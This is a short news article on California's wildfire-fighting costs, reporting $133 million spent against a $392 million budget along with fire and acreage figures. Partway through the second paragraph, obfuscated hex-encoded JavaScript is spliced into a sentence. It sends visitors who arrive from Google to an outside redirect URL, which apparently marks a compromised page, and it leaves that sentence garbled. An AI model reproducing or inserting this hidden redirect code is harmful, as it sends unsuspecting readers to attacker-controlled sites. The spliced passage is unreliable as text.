Firefighting tab at $133 million

From last year's fire season,, and aerial view in Mendocino County's Lodge Fire. (Photo: N.F. Photography)

California has spent $133 million fighting wildfires since July 1, about a third of its budgeted amount. The figure includes the costs of suppressing major blazes across the heat- and drought-ravaged state during the past month.

Starting in July, the beginning of the 2015-16 fiscal year, the state budgeted $392 million for firefighting. The figure, which does not include federal dollars, var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]} is based on projections from fire officials and experts, and can be revised depending on the severity and frequency of the fires as they develop during the season.

Through a week ago, the $133 million in spending left some $259 million in the emergency firefighting fund, Finance Department spokesperson H.D. Palmer noted in an email. The $1.1 billion reserve fund has not been touched. The figures do not include  structures, property or other losses.

CalFire spokesman Daniel Berlant said the state has fought about 4,500 wild fires since January, with the “peak period over the past month.” At the peak, more than 14,000 firefighters were on a dozen fire lines, a figure that also includes federal personnel. More than 144,000 acres, or about 225 square miles, have been burned.

The fire season is not over: September and October traditionally are intense months.

Deciding the amount of the firefighting budget is based in part on past experience, then reflects projections and recalculations as the fire season unfolds.

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